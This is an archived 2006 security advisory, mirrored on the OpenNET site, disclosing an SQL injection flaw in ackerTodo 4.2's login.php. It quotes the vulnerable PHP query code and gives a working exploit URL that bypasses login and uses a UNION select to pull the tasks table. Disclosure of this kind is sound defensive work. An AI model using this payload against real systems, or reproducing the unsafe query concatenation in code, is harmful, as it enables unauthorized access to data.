The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


ackerTodo 4.2 SQL Injection Vulnerability


<< Previous INDEX Search src / Print Next >>
Date: Thu, 05 Oct 2006 19:53:08 +0200
From: Francesco Laurita <francesco@francesco-laurita.info.>
To: [email protected]
Subject: ackerTodo 4.2 SQL Injection Vulnerability
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit
X-Virus-Scanned: antivirus-gw at tyumen.ru

ackerTodo 4.2 SQL Injection
vendor: http://ackertodo.sourceforge.net/site2/index.html
File: gadget/login.php

Exploiting this issue could allow an attacker to access sensible data.

Vuln code:
$user_login = trim($_REQUEST['up_login']);
$user_pass = trim($_REQUEST['up_pass']);
$num_tasks = trim($_REQUEST['up_num_tasks']);

and after...
$result = db_query("SELECT * FROM ".$table_prefix."users "
                        ."WHERE login='$user_login' "
                        ."AND password=md5('$user_pass')");

and after...

 $sql = $sql . ' LIMIT ' . $num_tasks;

Exploit:
http://site.com/gadget/login.php?up_login=admin&up_pass=wrongpass')%20or%20(%20'1'%20=%20'1'%20AND%20login%20=%20'admin&up_num_tasks=100%20UNION%20select%20*%20FROM%20tasks

Vendor has been informed and a patch has been committed into cvs

Regards



<< Previous INDEX Search src / Print Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру